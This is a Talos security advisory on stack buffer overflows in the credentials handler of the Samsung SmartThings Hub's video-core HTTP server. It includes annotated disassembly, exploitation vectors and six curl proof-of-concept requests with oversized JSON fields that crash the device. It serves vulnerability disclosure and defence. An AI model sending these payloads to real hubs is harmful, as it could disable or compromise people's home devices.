Talos Vulnerability Report

TALOS-2018-0555

Samsung SmartThings Hub video-core credentials Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3873 - CVE-2018-3878

Summary

Multiple exploitable buffer overflow vulnerabilities exist in the credentials handler of video-core's HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a POST request for the "/credentials" path it's possible modify the credentials used by the hub to connect to remote servers.

Such request is handled by function sub_3E4EC:

.text:0003E4EC     sub_3E4EC
.text:0003E4EC
.text:0003E4EC     dest            = -0xCB4
.text:0003E4EC     value           = -0xCB0
.text:0003E4EC     var_CAC         = -0xCAC
.text:0003E4EC     var_CA0         = -0xCA0
.text:0003E4EC     var_C90         = -0xC90
.text:0003E4EC     var_C50         = -0xC50
.text:0003E4EC     var_A70         = -0xA70
.text:0003E4EC     var_14          = -0x14
.text:0003E4EC     arg_0           =  4
.text:0003E4EC     arg_4           =  8
.text:0003E4EC
.text:0003E4EC 000        MOV             R12, #:lower16:stru_C1D38
.text:0003E4F0 000        STMFD           SP!, {R4-R7,R11,LR}
.text:0003E4F4 018        MOVT            R12, #:upper16:stru_C1D38
.text:0003E4F8 018        ADD             R11, SP, #0x14
...
.text:0003E564 CC0        BL              http_required_json_parameters  ; [1]
.text:0003E568 CC0        CMP             R0, #0
.text:0003E56C CC0        BNE             loc_3E594
...
.text:0003E594     loc_3E594
.text:0003E594 000        MOV             R0, R4
.text:0003E598 000        BL              json_tokener_parse             ; [2]
.text:0003E59C 000        SUBS            R6, R0, #0
.text:0003E5A0 000        BEQ             loc_3E93C
.text:0003E5A4 000        MOV             R1, #:lower16:aS3              ; "s3"
.text:0003E5A8 000        SUB             R2, R11, #-value
.text:0003E5AC 000        MOVT            R1, #:upper16:aS3              ; "s3"
.text:0003E5B0 000        BL              json_object_object_get_ex      ; [3]
...
.text:0003E5BC 000        SUB             R4, R11, #-var_A70
.text:0003E5C0 000        SUB             R5, R11, #-var_A70
.text:0003E5C4 000        SUB             R4, R4, #4
.text:0003E5C8 000        SUB             R5, R5, #8
.text:0003E5CC
.text:0003E5CC 000        MOV             R1, #:lower16:aSecretkey       ; "secretKey"
.text:0003E5D0 000        SUB             R2, R11, #-var_CA0
.text:0003E5D4 000        SUB             R2, R2, #0xC
.text:0003E5D8 000        MOVT            R1, #:upper16:aSecretkey       ; "secretKey"
.text:0003E5DC 000        LDR             R0, [R11,#value]
.text:0003E5E0 000        BL              json_object_object_get_ex
...
.text:0003E600 000        LDR             R0, [R11,#var_CAC]
.text:0003E604 000        BL              json_object_to_json_string     ; [4]
.text:0003E608 000        MOV             R7, R0
.text:0003E60C 000        BL              strlen
.text:0003E610 000        SUB             R3, R11, #-var_14
.text:0003E614 000        MOV             R2, #0
.text:0003E618 000        ADD             R3, R3, R0
.text:0003E61C 000        MOV             R0, R7
.text:0003E620 000        STRB            R2, [R3,#-0x928]
.text:0003E624 000        BL              strlen
.text:0003E628 000        MOV             R1, R7
.text:0003E62C 000        MOV             R2, R0
.text:0003E630 000        ADD             R0, R4, #0x138
.text:0003E634 000        BL              strncpy                        ; [5]
.text:0003E638 000        MOV             R1, #:lower16:aAccesskey       ; "accessKey"
.text:0003E63C 000        SUB             R2, R11, #-var_CA0
.text:0003E640 000        LDR             R0, [R11,#value]
.text:0003E644 000        MOVT            R1, #:upper16:aAccesskey       ; "accessKey"
.text:0003E648 000        SUB             R2, R2, #0xC
.text:0003E64C 000        BL              json_object_object_get_ex
...
.text:0003E66C 000        LDR             R0, [R11,#var_CAC]
.text:0003E670 000        BL              json_object_to_json_string
.text:0003E674 000        MOV             R7, R0
.text:0003E678 000        BL              strlen
.text:0003E67C 000        SUB             R3, R11, #-var_14
.text:0003E680 000        MOV             R2, #0
.text:0003E684 000        ADD             R3, R3, R0
.text:0003E688 000        MOV             R0, R7
.text:0003E68C 000        STRB            R2, [R3,#-0x948]
.text:0003E690 000        BL              strlen
.text:0003E694 000        MOV             R1, R7
.text:0003E698 000        MOV             R2, R0
.text:0003E69C 000        ADD             R0, R4, #0x118
.text:0003E6A0 000        BL              strncpy                        ; [6]
.text:0003E6A4 000        MOV             R1, #:lower16:aSessiontoken    ; "sessionToken"
.text:0003E6A8 000        SUB             R2, R11, #-var_CA0
.text:0003E6AC 000        LDR             R0, [R11,#value]
.text:0003E6B0 000        MOVT            R1, #:upper16:aSessiontoken    ; "sessionToken"
.text:0003E6B4 000        SUB             R2, R2, #0xC
.text:0003E6B8 000        BL              json_object_object_get_ex
...
.text:0003E6D8 000        LDR             R0, [R11,#var_CAC]
.text:0003E6DC 000        BL              json_object_to_json_string
.text:0003E6E0 000        MOV             R7, R0
.text:0003E6E4 000        BL              strlen
.text:0003E6E8 000        SUB             R3, R11, #-var_14
.text:0003E6EC 000        MOV             R2, #0
.text:0003E6F0 000        ADD             R3, R3, R0
.text:0003E6F4 000        MOV             R0, R7
.text:0003E6F8 000        STRB            R2, [R3,#-0x8A8]
.text:0003E6FC 000        BL              strlen
.text:0003E700 000        MOV             R1, R7
.text:0003E704 000        MOV             R2, R0
.text:0003E708 000        ADD             R0, R4, #0x1B8
.text:0003E70C 000        BL              strncpy                        ; [7]
.text:0003E710 000        MOV             R1, #:lower16:aBucket          ; "bucket"
.text:0003E714 000        SUB             R2, R11, #-var_CA0
.text:0003E718 000        LDR             R0, [R11,#value]
.text:0003E71C 000        MOVT            R1, #:upper16:aBucket          ; "bucket"
.text:0003E720 000        SUB             R2, R2, #0xC
.text:0003E724 000        BL              json_object_object_get_ex
...
.text:0003E744 000        LDR             R0, [R11,#var_CAC]
.text:0003E748 000        BL              json_object_to_json_string
.text:0003E74C 000        MOV             R7, R0
.text:0003E750 000        BL              strlen
.text:0003E754 000        SUB             R3, R11, #-var_14
.text:0003E758 000        MOV             R2, #0
.text:0003E75C 000        ADD             R3, R3, R0
.text:0003E760 000        MOV             R0, R7
.text:0003E764 000        STRB            R2, [R3,#-0xC8]
.text:0003E768 000        BL              strlen
.text:0003E76C 000        MOV             R2, R0
.text:0003E770 000        ADD             R0, R5, #0x990
.text:0003E774 000        MOV             R1, R7
.text:0003E778 000        ADD             R0, R0, #0xC
.text:0003E77C 000        BL              strncpy                        ; [8]
.text:0003E780 000        MOV             R1, #:lower16:aDirectory       ; "directory"
.text:0003E784 000        SUB             R2, R11, #-var_CA0
.text:0003E788 000        LDR             R0, [R11,#value]
.text:0003E78C 000        MOVT            R1, #:upper16:aDirectory       ; "directory"
.text:0003E790 000        SUB             R2, R2, #0xC
.text:0003E794 000        BL              json_object_object_get_ex
...
.text:0003E7B4 000        LDR             R0, [R11,#var_CAC]
.text:0003E7B8 000        BL              json_object_to_json_string
.text:0003E7BC 000        MOV             R7, R0
.text:0003E7C0 000        BL              strlen
.text:0003E7C4 000        SUB             R3, R11, #-var_14
.text:0003E7C8 000        MOV             R2, #0
.text:0003E7CC 000        ADD             R3, R3, R0
.text:0003E7D0 000        MOV             R0, R7
.text:0003E7D4 000        STRB            R2, [R3,#-0x88]
.text:0003E7D8 000        BL              strlen
.text:0003E7DC 000        MOV             R2, R0
.text:0003E7E0 000        ADD             R0, R5, #0x9D0
.text:0003E7E4 000        MOV             R1, R7
.text:0003E7E8 000        ADD             R0, R0, #0xC
.text:0003E7EC 000        BL              strncpy                        ; [9]
.text:0003E7F0 000        MOV             R1, #:lower16:aRegion          ; "region"
.text:0003E7F4 000        SUB             R2, R11, #-var_CA0
.text:0003E7F8 000        SUB             R2, R2, #0xC
.text:0003E7FC 000        MOVT            R1, #:upper16:aRegion          ; "region"
.text:0003E800 000        LDR             R0, [R11,#value]
.text:0003E804 000        BL              json_object_object_get_ex
...
.text:0003E824 000        LDR             R0, [R11,#var_CAC]
.text:0003E828 000        BL              json_object_to_json_string
.text:0003E82C 000        MOV             R7, R0
.text:0003E830 000        BL              strlen
.text:0003E834 000        SUB             R3, R11, #-var_14
.text:0003E838 000        MOV             R2, #0
.text:0003E83C 000        ADD             R3, R3, R0
.text:0003E840 000        MOV             R0, R7
.text:0003E844 000        STRB            R2, [R3,#-0xD8]
.text:0003E848 000        BL              strlen
.text:0003E84C 000        MOV             R2, R0
.text:0003E850 000        ADD             R0, R5, #0x980
.text:0003E854 000        MOV             R1, R7
.text:0003E858 000        ADD             R0, R0, #0xC
.text:0003E85C 000        BL              strncpy                        ; [10]
...

Note that the binary embeds the "json-c" library from https://github.com/json-c/json-c that is used to manage JSON objects.

The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: s3.secretKey, s3.accessKey, s3.sessionToken, s3.bucket, s3.directory, s3.region, videoHostUrl.

The library function json_tokener_parse [2] is then used to parse the POST data, and a JSON object is returned. Finally, json_object_object_get_ex [3] is used to retrieve each parameter from the main JSON object. This function, in turn, returns a new JSON object from which a string is extracted, using json_object_to_json_string [4]. The resulting string is copied in a buffer on the stack using strncpy [5]: the destination buffer is calculated from r4, which actually points on the stack. Moreover, the length value is set from the strlen output of the source string itself. At high level this would be:

strncpy(stack_buffer, json_parameter, strlen(json_parameter));

Since the json_parameter is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn't test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

The following is a list of each vulnerability and its proof of concept. Each proof of concept uses the placeholder "OVERFLOW" to highlight the vulnerable parameter, which can be replaced with "A"*4000 to make the device crash. A key with value "x" means that its value is irrelevant, but the key still needs to be present.

CVE-2018-3873 - "secretKey" key

The strncpy at [5] overflows the destination buffer, which has a size of 128 bytes. An attacker can send an arbitrarily long "secretKey" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"x","secretKey":"OVERFLOW","sessionToken":"x","region":"x","bucket":"x","directory":"x"},"videoHostUrl":"x"}'

CVE-2018-3874 - "accessKey" key

The strncpy at [6] overflows the destination buffer, which has a size of 32 bytes. An attacker can send an arbitrarily long "accessKey" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"OVERFLOW","secretKey":"x","sessionToken":"x","region":"x","bucket":"x","directory":"x"},"videoHostUrl":"x"}'

CVE-2018-3875 - "sessionToken" key

The strncpy at [7] overflows the destination buffer, which has a size of 2,000 bytes. An attacker can send an arbitrarily long "sessionToken" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"x","secretKey":"x","sessionToken":"OVERFLOW","region":"x","bucket":"x","directory":"x"},"videoHostUrl":"x"}'

CVE-2018-3876 - "bucket" key

The strncpy at [8] overflows the destination buffer, which has a size of 64 bytes. An attacker can send an arbitrarily long "bucket" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"x","secretKey":"x","sessionToken":"x","region":"x","bucket":"OVERFLOW","directory":"x"},"videoHostUrl":"x"}'

CVE-2018-3877 - "directory" key

The strncpy at [9] overflows the destination buffer, which has a size of 160 bytes. An attacker can send an arbitrarily long "directory" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"x","secretKey":"x","sessionToken":"x","region":"x","bucket":"x","directory":"OVERFLOW"},"videoHostUrl":"x"}'

CVE-2018-3878 - "region" key

The strncpy at [10] overflows the destination buffer, which has a size of 16 bytes. An attacker can send an arbitrarily long "region" value in order to exploit this vulnerability:

$ curl -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"x","secretKey":"x","sessionToken":"x","region":"OVERFLOW","bucket":"x","directory":"x"},"videoHostUrl":"x"}'

Timeline

2018-04-09 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.